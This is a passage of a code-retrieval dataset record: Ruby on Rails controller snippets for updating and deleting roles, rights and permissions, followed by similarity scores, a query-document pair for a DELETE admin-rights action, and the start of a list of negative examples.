"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def set_access_rights\n @access_rights = current_v1_user.rights.find_by(campground_id: params[:campground_id])\n end",
"def update_role\n @user = User.find(params[:id])\n\n # Limit access to authorized users\n authorize! :manage, @user\n\n @user.admin = params[:admin_role]\n respond_to do |format|\n if @user.save\n format.json { head :no_content }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # binding.pry;''\n @occasion.administrators << User.find(params[:adminstrator]) if params[:adminstrator]\n respond_to do |format|\n if @occasion.update(occasion_params)\n format.html { redirect_to @occasion, notice: 'Occasion was successfully updated.' }\n format.json { render :show, status: :ok, location: @occasion }\n else\n format.html { render :edit }\n format.json { render json: @occasion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_access_rights\n # @access_rights = current_v1_user.rights.where(campground_id: params[:campground_id])\n @access_rights = User.find(1).rights.find_by(campground_id: params[:campground_id])\n end",
"def update\n respond_to do |format|\n if @right.update(right_params)\n format.html { redirect_to @right, notice: 'Right was successfully updated.' }\n format.json { render :show, status: :ok, location: @right }\n else\n format.html { render :edit }\n format.json { render json: @right.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n resource.update_attributes params[params_key], as: current_role\n respond_with resource\n end",
"def update\n abilities = []\n params[:role][:role_abilities].each do |ability|\n abilities << ability.to_sym\n end\n @role.role_abilities = [{\"action\"=> abilities, \"subject\"=>[:api]}]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to roles_path, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tree_node_ac_rights = TreeNodeAcRight.find(params[:id])\n\n respond_to do |format|\n if @tree_node_ac_rights.update_attributes(params[:tree_node_ac_rights])\n flash[:notice] = 'TreeNodeAcRights was successfully updated.'\n format.html { redirect_to(admin_tree_node_tree_node_permission_path(@tree_node_id, @tree_node_ac_rights)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tree_node_ac_rights.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n authorize(current_user)\n role = params[:user][:role_ids]\n roleModel =Role.find( role)\n if @user.setRole roleModel.name\n @user.save\n redirect_to users_path, :notice => \"Rolle geändert\"\n else\n redirect_to users_path, :notice => \"Rolle nicht geändert\"\n end\n end",
"def set_rights_holder\n @rights_holder = RightsHolder.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n @role.permissions = params[:role][:permission].map do |key, value|\n index = value[\"index\"] == \"1\" ? true : false\n index = true if value[\"new\"] == \"1\" || value[\"edit\"] == \"1\" || value[\"remove\"] == \"1\"\n Permission.update(value[\"id\"], :index => index, :new => value[\"new\"], :edit => value[\"edit\"], :remove => value[\"remove\"], :import => value[\"import\"])\n end\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Concepto\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map { |k, _v| k }\n else\n params[:concepto][:tipo_ids] = []\n end\n\n respond_to do |format|\n if @concepto.update(concepto_params)\n\n\n format.html { redirect_to @concepto, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos del concepto fueron actualizados exitosamente.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n load_permissions\n ids = params[:permissions].select {|k, v| v == \"1\"}.map {|k,v| k.to_i }\n if ids.length > 0\n permissions = Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n @role = Role.find(params[:id])\n params[:role][:permissions] = permissions\n if @role.update_attributes(params[:role])\n flash[:notice] = \"修改角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = '修改角色失败'\n redirect_to :action => 'edit', :id => @role.id\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'edit', :id => @role.id\n end\n end",
"def add_right\n role = Role.find(params[:id])\n\tright = Right.find(params[:right_id])\n role.rights << right\n redirect_to roles_rights_url\n\n end",
"def update\n # this action is not provided for partyroles\n end",
"def update\n @clinic = Clinic.find(params[:id])\n authorize! :update, @clinic\n #raise params.inspect\n #admin_id = params[:clinic].delete(:administrator_id)\n \n @clinic = Clinic.find(params[:id])\n #@clinic.administrator_id = admin_id\n\n respond_to do |format|\n if @clinic.update_attributes(params[:clinic])\n format.html { redirect_to @clinic, notice: 'Clinica editada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @clinic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @admin_system_admin\n respond_to do |format|\n if @admin_system_admin.update(admin_system_admin_params)\n format.html { redirect_to @admin_system_admin, notice: 'System admin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_system_admin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @concept_map = ConceptMap.find(params[:id])\n if current_user.role.id == 7\n params[:concept_map][:status] = 6\n end\n respond_to do |format|\n if @concept_map.update_attributes(params[:concept_map])\n format.html { redirect_to@concept_map, notice: 'ConceptMap was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json:@concept_map.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n authorize! :update, @user\n end",
"def update!(**args)\n @field_with_rights = args[:field_with_rights] if args.key?(:field_with_rights)\n end",
"def update\n respond_to do |format|\n if @sys_role.update(sys_role_params)\n format.html { redirect_to @sys_role, notice: 'Sys role was successfully updated.' }\n format.json { render :show, status: :ok, location: @sys_role }\n else\n format.html { render :edit }\n format.json { render json: @sys_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @right = Right.find(params[:id])\n @right.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_rights_url }\n format.json { head :no_content }\n end\n end",
"def update\n# authorize! :update, current_user\n @classroom = @observation.classroom\n @principals = User.with_role(:principal)\n @specialists = User.with_role(:specialist)\n if current_user.has_role? :admin\n if !params[:observation][:specialist].nil?\n @observation.specialist = params[:observation][:specialist]\n elsif !params[:observation][:principal].nil?\n @observation.principal = params[:observation][:principal]\n end\n end\n respond_to do |format|\n if @observation.update(observation_params)\n format.html { redirect_to @observation, notice: 'Observation was successfully updated.' }\n format.json { render :show, status: :ok, location: @observation }\n else\n format.html { render :edit }\n format.json { render json: @observation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @restroom = Restroom.find(params[:id])\n authorize @restroom\n\n respond_to do |format|\n if @restroom.update_attributes(params[:restroom])\n format.html { redirect_to @restroom, notice: 'Restroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @restroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Course\n redirect_to courses_path\n end",
"def update\n respond_to do |format|\n if @role_privilege.update(role_privilege_params)\n format.html { redirect_to role_privileges_url, notice: 'Uloga i privilegija su uspješno povezane.' }\n format.json { render :show, status: :ok, location: @role_privilege }\n else\n format.html { render :edit }\n format.json { render json: @role_privilege.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @roles_privilege.update(roles_privilege_params)\n format.html { redirect_to @roles_privilege, notice: 'Roles privilege was successfully updated.' }\n format.json { render :show, status: :ok, location: @roles_privilege }\n else\n format.html { render :edit }\n format.json { render json: @roles_privilege.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n authorize @role\n\n if @role.update(access: role_params[:access])\n deliver_if(recipients: @role.user, key: 'users.added_as_coowner') do |_r|\n UserMailer.permissions_change_notification(@role, current_user).deliver_now\n end\n render json: {\n code: 1,\n msg: format(_('Successfully changed the permissions for %{email}. They have been\n notified via email.'), email: @role.user.email)\n }\n else\n render json: { code: 0, msg: flash[:alert] }\n end\n end",
"def edit\n @user = User.shod(params[:id])\n authorize! :update, @user\n end",
"def index\n @rights = Right.all\n end",
"def update\n @restroom = Restroom.find(params[:id])\n authorize! :update, @restroom\n\n respond_to do |format|\n if @restroom.update_attributes(params[:restroom])\n format.html { redirect_to @restroom, notice: 'Restroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @restroom = Restroom.find(params[:id])\n authorize! :update, @restroom\n\n respond_to do |format|\n if @restroom.update_attributes(params[:restroom])\n format.html { redirect_to @restroom, notice: 'Restroom was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @restroom.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_role = Role.find(params[:id])\n\n respond_to do |format|\n if @admin_role.update_attributes(params[:admin_role])\n format.html { redirect_to @admin_role, notice: 'Role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_right\n @right = Right.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @role.update(safe_params)\n format.html { redirect_to [@company, @role], notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Solicitud\n respond_to do |format|\n if @solicitud.update(solicitud_params)\n format.html { redirect_to solicitudes_path, notice: 'Solicitud actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: solicitudes_path }\n else\n format.html { render :edit }\n format.json { render json: @solicitud.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put\n if(resource.collection?)\n Forbidden\n elsif(!resource.parent_exists? || !resource.parent_collection?)\n Conflict\n else\n resource.lock_check if resource.supports_locking?\n status = resource.put(request, response)\n response['Location'] = \"#{scheme}://#{host}:#{port}#{url_format(resource)}\" if status == Created\n response.body = response['Location']\n status\n end\n end",
"def update\n authorize :resquest_type, :update?\n respond_to do |format|\n if @resquest_type.update(resquest_type_params)\n format.html { redirect_to @resquest_type, notice: 'Resquest type was successfully updated.' }\n format.json { render :show, status: :ok, location: @resquest_type }\n else\n format.html { render :edit }\n format.json { render json: @resquest_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @theorem\n if @theorem.update(theorem_params)\n render json: @theorem, status: :ok, location: @theorem\n else\n render json: @theorem.errors, status: :unprocessable_entity\n end\n end",
"def update\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n\n respond_to do |format|\n if @roles_and_permission.update_attributes(params[:roles_and_permission])\n format.html { redirect_to [@roles,@roles_and_permission], notice: 'Roles and permission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @roles_and_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:id])\n \n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to company_role_path(@company, @role), notice: 'El rol fue editado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @car = Car.find(params[:id])\n\n if current_user.admin == true\n authorize @car\n end\n\n\n authorize @car\n end",
"def update\n respond_to do |format|\n if @manage_admin.update(manage_admin_params)\n\n # 保存角色信息\n roles_id=params[:roles]\n @manage_admin.roles_in_id=roles_id\n\n format.html { redirect_to @manage_admin, notice: '管理员信息更新成功.' }\n\n format.json { render :show, status: :ok, location: @manage_admin }\n else\n format.html { render :edit,notice:'修改失败'}\n format.json { render json: @manage_admin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\tauthorize! :update, DetalleRestriccion\n respond_to do |format|\n @concepto_gastos = ConceptoGasto.all\n if @detalle_restriccion.update(detalle_restriccion_params)\n format.html { redirect_to gestionar_restricciones_path, notice: 'Actualizado correctamente'}\n #format.html { redirect_to @detalle_restriccion, notice: 'Detalle restriccion fue actualizado satisfactoriamente.' }\n #format.json { render :show, status: :ok, location: @detalle_restriccion }\n else\n format.html { redirect_to gestionar_restricciones_path, alert: 'No pueden guardarse'}\n #format.html { render :edit }\n #format.json { render json: @detalle_restriccion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Conceptopersonal\n respond_to do |format|\n if @conceptopersonal.update(conceptopersonal_params)\n\n\n format.html { redirect_to conceptospersonales_path, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos del concepto fueron actualizados exitosamente.' }\n format.json { render :show, status: :ok, location: @conceptopersonal }\n else\n format.html { render :edit }\n format.json { render json: @conceptopersonal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def manage_update\n item = resource_for_controller\n raise 'shouldnt get this far without manage rights' unless item.can_manage?\n item.update(params_for_controller)\n update_sharing_policies item\n respond_to do |format|\n if item.save\n flash[:notice] = \"#{t(item.class.name.underscore)} was successfully updated.\"\n format.html { redirect_to(item) }\n format.json { render json: item, include: json_api_include_param }\n else\n format.html { render action: 'manage' }\n format.json { render json: json_api_errors(item), status: :unprocessable_entity }\n end\n end\n end",
"def update_choice\n redirect_to (\"/admin/users/#{params[\"id\"]}/edit\")\n end",
"def update!(**args)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n @permission = args[:permission] if args.key?(:permission)\n @principal = args[:principal] if args.key?(:principal)\n end",
"def update!(**args)\n @full_resource_name = args[:full_resource_name] if args.key?(:full_resource_name)\n @permission = args[:permission] if args.key?(:permission)\n @principal = args[:principal] if args.key?(:principal)\n end",
"def update\n authorize! :assign_roles, @user if params[:user][:assign_roles]\n if @user.update_attributes(params[:user])\n redirect_to @user, notice: 'User was successfully updated.'\n else\n render \"edit\"\n end\n end",
"def update\n @admin_side_menu = Admin::SideMenu.find(params[:id])\n\n respond_to do |format|\n if @admin_side_menu.update_attributes(params[:admin_side_menu])\n format.html { redirect_to @admin_side_menu, notice: 'Side menu was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_side_menu.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @restriction = Restriction.find(params[:id])\n\n if @restriction.update(params[:restriction])\n head :no_content\n else\n render json: @restriction.errors, status: :unprocessable_entity\n end\n end",
"def update\n authorize Admin\n respond_to do |format|\n if @admin.update(admin_params)\n format.html { redirect_to @admin, notice: 'Admin was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin }\n else\n format.html { render :edit }\n format.json { render json: @admin.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:role_id])\n access_right_hash = params[:access_right]\n \n if current_user.super_admin\n is_ok = true\n else\n current_user.roles.each { |r|\n r.access_rights.each { |ar|\n puts access_right_hash['model_name']\n if ar.model_name == access_right_hash['model_name'] && ar.action == access_right_hash['action']\n is_ok = true\n end\n }\n }\n end\n \n respond_to do |format|\n if is_ok\n @access_right = @role.access_rights.create(params[:access_right])\n @access_right.company_id = current_user.company_id\n @access_right.save\n format.html { redirect_to company_role_path(@company, @role) }\n else\n format.html { redirect_to company_role_path(@company, @role), notice: 'Usted no puede conceder este permiso.' }\n end\n end\n end",
"def update\n @operations_role = OperationsRole.find(params[:id])\n\n respond_to do |format|\n if @operations_role.update_attributes(params[:operations_role])\n flash[:notice] = 'OperationsRole was successfully updated.'\n format.html { redirect_to(@operations_role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @operations_role.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @sys_op = SysOp.find(params[:id])\n\n respond_to do |format|\n if @sys_op.update_attributes(params[:sys_op])\n format.html { redirect_to @sys_op, notice: 'Sys op was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sys_op.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @access.modify_user_id = session[:user_id]\n if @access.update(access_params)\n flash[:notice] = \"權限更新成功!\"\n redirect_to action: \"index\"\n else\n render action: 'edit'\n end\n\n # respond_to do |format|\n # if @access.update(access_params)\n # format.html { redirect_to @access, notice: 'Access was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: 'edit' }\n # format.json { render json: @access.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def set_right\n @right = Right.find(params[:id])\n end",
"def authorize\n render json: { status: 200, msg: 'You are not allowed to do this update' } unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def edit\n enforce_update_permission(@user)\n end",
"def update\n respond_to do |format|\n if @role.update(system_role_params)\n format.html { redirect_to system_roles_url, notice: '更新角色成功.' }\n format.json { render :index, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @org_role.update(org_role_params)\n format.html { redirect_to @org_role, notice: 'Org role was successfully updated.' }\n format.json { render :show, status: :ok, location: @org_role }\n else\n format.html { render :edit }\n format.json { render json: @org_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @readonly_administrator = ReadonlyAdministrator.find(params[:id])\n if @readonly_administrator.update_attributes(params[:readonly_administrator])\n head :no_content\n else\n respond_with @readonly_administrator, status: :unprocessable_entity\n end\n end",
"def update\n @organization = Organization.find(params[:id])\n\n authorize! :update, @organization\n\n respond_to do |format|\n if @organization.update_attributes(permitted_params)\n format.html { redirect_to @organization, notice: 'Organization was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { @title = edit_action_title; render action: \"edit\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @license = License.find(params[:id])\n\n respond_to do |format|\n if @license.update_attributes(params[:license])\n format.html { redirect_to licenses_url, :notice => 'Successfully updated' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @license.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit\n @user = User.find(params[:id])\n authorize! :update, @user \n end",
"def update\n params[:resource][:term_ids] || []\n @resource = Resource.find(params[:id])\n\n respond_to do |format|\n if @resource.update_attributes(params[:resource])\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def authorize_edit\n authorize! :edit, @opportunity\n end",
"def update\n authorize! :manage, @node\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @security = OpenStack::Nova::Compute::SecurityGroup.find('3')\n \n @security.name = params[:firewall][:name]\n @security.description = params[:firewall][:description]\n @security.save\n # respond_to do |format|\n # if @security.update_attributes(params[:security])\n # format.html { redirect_to @security, notice: 'Security was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @security.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n respond_to do |format|\n if @authorization.update(authorization_params)\n format.html { redirect_to authorizations_path, notice: 'Autorização editada.' }\n format.json { render :show, status: :ok, location: @authorization }\n else\n format.html { render :edit }\n format.json { render json: @authorization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n @user.role = Role.find(params[:role][:id]) if current_user.can_write?\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = @client.roles.find(params[:id])\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to client_role_url(@client, @role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @relation = Relation.find(params[:id])\n params[:relation][:secret] = false if !@user.admin?\n respond_to do |format|\n if @relation.update_attributes(params[:relation])\n format.html { redirect_to @relation, notice: 'Relation a été édité avec succès.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @relation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n head :unauthorized\n end",
"def update\n @admin_authoring_site = Admin::AuthoringSite.find(params[:id])\n authorize @admin_authoring_site\n\n respond_to do |format|\n if @admin_authoring_site.update(admin_authoring_site_strong_params(params[:admin_authoring_site]))\n format.html { redirect_to @admin_authoring_site, notice: 'Authoring site was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_authoring_site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def right_params\n params.require(:right).permit(:user_id,\n :campground_id,\n :can_view_rights,\n :can_edit_rights,\n :can_view_campground,\n :can_edit_campground,\n :can_view_bookings,\n :can_edit_bookings,\n :can_create_bookings,\n :can_delete_bookings,\n :can_view_clients,\n :can_edit_clients,\n :can_delete_clients,\n :can_view_api_keys,\n :can_create_api_keys,\n :can_edit_api_keys,\n :can_delete_api_keys,\n :can_view_users,\n :can_create_users,\n :can_edit_users,\n :can_delete_users)\n end",
"def update!(**args)\n @location = args[:location] if args.key?(:location)\n @name = args[:name] if args.key?(:name)\n @request_admin_rights_url = args[:request_admin_rights_url] if args.key?(:request_admin_rights_url)\n end",
"def update\n @user = current_user\n @user = params[:user_id] if params[:user_id]\n @license = License.find_by(name: params[:name])\n respond_to do |format|\n if @license.update(license_params)\n format.html { redirect_to license_path(@license.name), notice: 'Запись о лицензии обновлена.' }\n format.json { render :show, status: :ok, location: license_path(@license.name) }\n else\n format.html { render :edit }\n format.json { render json: @license.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @user, :message => \"No puedes tienes acceso a esta opcion.\"\n if @user.is_admin? \n @user.remove_role :admin\n end\n if @user.is_adminInv?\n @user.remove_role :adminInv \n end\n if @user.is_adminExt?\n @user.remove_role :adminExt\n end\n if @user.is_investigador?\n @user.remove_role :Investigador\n end\n \n @user.add_role(params[:role])\n @user.update(user_params)\n redirect_to usuarios_path, notice: 'Usuario fue actualizado.'\n end",
"def update\n\t\tauthorize! :update, TipoPrivilegio\n respond_to do |format|\n if @tipo_privilegio.update(tipo_privilegio_params)\n\t\t\t\t\t\t\t\t\t\tsesion= Sesion.find_by(usuario_id: current_usuario.id, fechaFin: nil)\n\t\t\t\tTransaccion.create!(\n \t\t\t\tdescripcion: \"Actualización del tipo de privilegio: #{@tipo_privilegio.previous_changes}\" ,\n \t\t\t\tsesion_id: sesion.id\n\t\t\t\t)\n format.html { redirect_to @tipo_privilegio\nflash[:success] = 'Tipo privilegio fue actualizado satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @tipo_privilegio }\n else\n format.html { render :edit }\n format.json { render json: @tipo_privilegio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @access = args[:access] if args.key?(:access)\n @explained_policies = args[:explained_policies] if args.key?(:explained_policies)\n end",
"def update!(**args)\n @access = args[:access] if args.key?(:access)\n @explained_policies = args[:explained_policies] if args.key?(:explained_policies)\n end",
"def update\n if !current_user.admin?\n head :forbidden\n else\n if @organisation.update(organisation_params)\n render json: @organisation.to_json, status: :ok\n else\n render json: @organisation.errors, status: :unprocessable_entity\n end\n end\n end",
"def update\n render action: :edit unless @cancion.update_attributes(cancion_params)\n end",
"def update!(**args)\n @permissions = args[:permissions] if args.key?(:permissions)\n @roles = args[:roles] if args.key?(:roles)\n end",
"def update\n authorize! :admin, Coordenador\n \n @coordenador = Coordenador.find(params[:id])\n\n respond_to do |format|\n if @coordenador.update_attributes(params[:coordenador])\n format.html { redirect_to @coordenador, notice: 'Coordenador was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @coordenador.errors, status: :unprocessable_entity }\n end\n end\n end",
"def publisher_admin(role)\n\n can :manage, Publication, :publisher_id => role.publisher_id\n can :update, Publisher, :id => role.publisher_id\n can :update, IssueState\n can :update, AdminUser, :id => @user.id\n\n\n\n end",
"def update\n respond_to do |format|\n if @license.update_attributes(params[:license])\n format.html { redirect_to @license, notice: 'License was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end",
"def update\n if !grant_access(\"alter_roles\", current_user)\n head(403)\n end\n @role.user_id = current_user.id\n @role.start_point = false if !params[:role][:start_point]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to admin_roles_path, notice: 'Role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.67360616",
"0.66180056",
"0.6443705",
"0.6359975",
"0.63044715",
"0.62529695",
"0.62529695",
"0.62529695",
"0.62529695",
"0.62529695",
"0.6232228",
"0.6224553",
"0.6091866",
"0.6089308",
"0.60690236",
"0.60633045",
"0.602135",
"0.6013465",
"0.59934676",
"0.5965458",
"0.5956721",
"0.5912266",
"0.59066",
"0.590511",
"0.5869043",
"0.58554155",
"0.58543503",
"0.58493894",
"0.5842214",
"0.5825527",
"0.5822342",
"0.5820867",
"0.5812656",
"0.5795404",
"0.5771127",
"0.5758967",
"0.5747817",
"0.57469875",
"0.5744502",
"0.5742765",
"0.5742765",
"0.5741887",
"0.5740452",
"0.57299906",
"0.57291764",
"0.5717762",
"0.5714198",
"0.5708134",
"0.5705343",
"0.5692633",
"0.56891584",
"0.5686779",
"0.56778574",
"0.56770086",
"0.56746805",
"0.5664999",
"0.5662759",
"0.5662759",
"0.56566405",
"0.56559074",
"0.5649785",
"0.56470644",
"0.56450987",
"0.5644156",
"0.5644016",
"0.5643876",
"0.5639136",
"0.56315535",
"0.5621599",
"0.56162834",
"0.55936587",
"0.55927205",
"0.5586118",
"0.55850446",
"0.55822",
"0.55810946",
"0.5579378",
"0.557181",
"0.55695295",
"0.55695015",
"0.5568513",
"0.55669165",
"0.5563726",
"0.5563064",
"0.55586976",
"0.5558687",
"0.5556789",
"0.55550677",
"0.55530226",
"0.55523926",
"0.5547603",
"0.5547603",
"0.55462015",
"0.55446804",
"0.55441636",
"0.55396247",
"0.55374444",
"0.55373585",
"0.552494",
"0.5523943"
] |
0.6751367
|
0
|
DELETE /admin/rights/1 DELETE /admin/rights/1.json
|
def destroy
@right = Right.find(params[:id])
@right.destroy
respond_to do |format|
format.html { redirect_to admin_rights_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @privilege.destroy\n respond_to do |format|\n format.html { redirect_to privileges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @right.destroy\n respond_to do |format|\n format.html { redirect_to rights_url, notice: 'Right was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tree_node_ac_rights = TreeNodeAcRight.find(params[:id])\n @tree_node_ac_rights.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_tree_node_tree_node_permissions_path }\n format.xml { head :ok }\n end\n end",
"def destroy\n @access.destroy\n respond_to do |format|\n format.html { redirect_to accesses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @role_privilege.destroy\n respond_to do |format|\n format.html { redirect_to role_privileges_url, notice: 'Veza je usšešno obrisana.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end",
"def destroy\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:role_id])\n @access_right = @role.access_rights.find(params[:id])\n @access_right.destroy\n redirect_to company_role_path(@company, @role)\n end",
"def destroy\n @rights_holder.destroy\n respond_to do |format|\n format.html { redirect_to rights_holders_url, notice: 'Rights holder was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @readonly_administrator = ReadonlyAdministrator.find(params[:id])\n @readonly_administrator.destroy\n head :no_content\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n authorize @admin\n\n @admin.destroy\n respond_to do |format|\n format.html { redirect_to admins_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @level = Level.find(params[:id])\n authorize! :destroy, @level, :message => 'Acceso denegado.'\n @level.destroy\n\n respond_to do |format|\n format.html { redirect_to levels_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n authorize! :destroy, @admin_system_admin\n @admin_system_admin.destroy\n respond_to do |format|\n format.html { redirect_to admin_system_admins_url }\n format.json { head :no_content }\n end\n end",
